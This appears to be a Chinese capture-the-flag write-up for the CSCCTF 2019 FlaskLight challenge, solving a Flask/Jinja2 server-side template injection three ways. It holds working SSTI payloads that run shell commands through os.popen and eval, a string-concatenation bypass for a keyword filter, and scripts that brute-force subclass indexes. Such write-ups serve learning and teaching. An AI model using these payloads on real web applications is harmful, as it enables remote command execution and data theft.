[CSCCTF 2019 Qual]FlaskLight 1

目录

题目分析

看题目名称,可能是flask模板注入

查看页面源码,提示get方式传入search

text 复制代码
payload:?search={{7*7}}

返回49,确定是模板注入

模板注入相关知识

判断模板类型

继承关系


魔术方法

python 复制代码
__class__    # 查找当前类型的所属对象
__base__     # 沿着父子类的关系往上走一个
__mro__      # 查找当前对象继承的所有继承类
__subclasses__()    # 查找父类下所有的子类
__init__        # 查看类是否重载,重载指的是程序在运行时就加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__        # 函数会以字典的形式返回当前对象的全部全局变量

常用注入模块

解法一:使用config

text 复制代码
payload:?search={{config}}

没ban环境变量,那么直接开始做题

text 复制代码
payload:?search={{config.__class__.__init__.__.globals__['os'].popen('whoami').read()}}

报错,应该是设置了过滤,经过逐个输入,确定过滤了global

过滤绕过

有许多绕过方法:

+拼接

~拼接

过滤器


寻找falg

我们使用+拼接即可绕过

text 复制代码
payload:?search={{config.__class__.__init__['__glo'+'bals__']['os'].popen('ls').read()}}

看看flasklight

text 复制代码
payload:?search={{config.__class__.__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}

查看flag

text 复制代码
payload:?search={{config.__class__.__init__['__glo'+'bals__']['os'].popen(''cat /flasklight/coomme_geeeett_youur_flek'').read()}}

解法二:在已加载os模块的子类中直接调用os模块

python脚本查找加载os模块的子类

python 复制代码
import requests
url = input('请输入url链接:')
for i in range(500):
    data = "?search={{().__class__.__base__.__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"
    url += data;
    try:
        response = requests.get(url)
        # print(response.text)
        if 'os.py' in response.text:
            print(i)
            break
    except:
        pass

结果

解题

寻找flag的过程省略

text 复制代码
payload:{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

解法三:内建函数eval执行命令

python脚本寻找命令位置

python 复制代码
import requests
url = input('请输入url链接:')
for i in range(500):
    data = "?search={{().__class__.__base__.__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"
    url += data;
    try:
        response = requests.get(url)
        # print(response.text)
        if 'eval' in response.text:
            print(i)
            break
    except:
        pass

结果

解题

text 复制代码
payload:{{[].__class__.__base__.__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
相关推荐
卓怡学长1 分钟前
w213基于Spring Boot框架的Web安全学习系统的设计与实现
java·spring boot·spring·web安全·intellij-idea
Zhou1411363 分钟前
MyBatisPlus_02_条件构造器与高级功能
java·开发语言·python
打工仔折腾 AI23 分钟前
网易UU远程实测:手机控电脑做Python开发和Agent调试的真实体验
人工智能·后端·python·智能手机·性能优化·电脑·ai agent 实战
轩轶子28 分钟前
Python CLI Todo:一次数据结构错误引发的 Bug
数据结构·python·bug
“AI国潮设计-小江”31 分钟前
【AIGC实战】Python+SDXL打造潮汕国潮IP:英歌舞麻将的自动化生成与商用思路
开发语言·人工智能·python·prompt·aigc
zh路西法34 分钟前
【上手一只MicroDuck】:(一)从机器人结构到强化学习训练框架
python·强化学习·huggingface·ppo·mujoco·microduck
alphaTao1 小时前
LeetCode 每日一题 2026/9/21-2026/9/27
python·算法·leetcode
计算机源码社2 小时前
【27届大数据毕设】基于Spark的AI艺术创作者价值评估与市场趋势预测研究 基于Python与Spark的AI生成艺术受众画像及异常热度识别可视化平台
大数据·人工智能·hadoop·python·spark·毕业设计·课程设计
huisheng_qaq3 小时前
【Python基础篇-04】深入理解python的函数、参数与作用域
python·ai·函数·参数作用域
宸津-代码粉碎机8 小时前
OpenAI 连夜迎战 Grok Bot 和 Muse:AI 智能体从 “会聊天” 到 “能办事”,现在入场还来得及吗
java·大数据·人工智能·分布式·python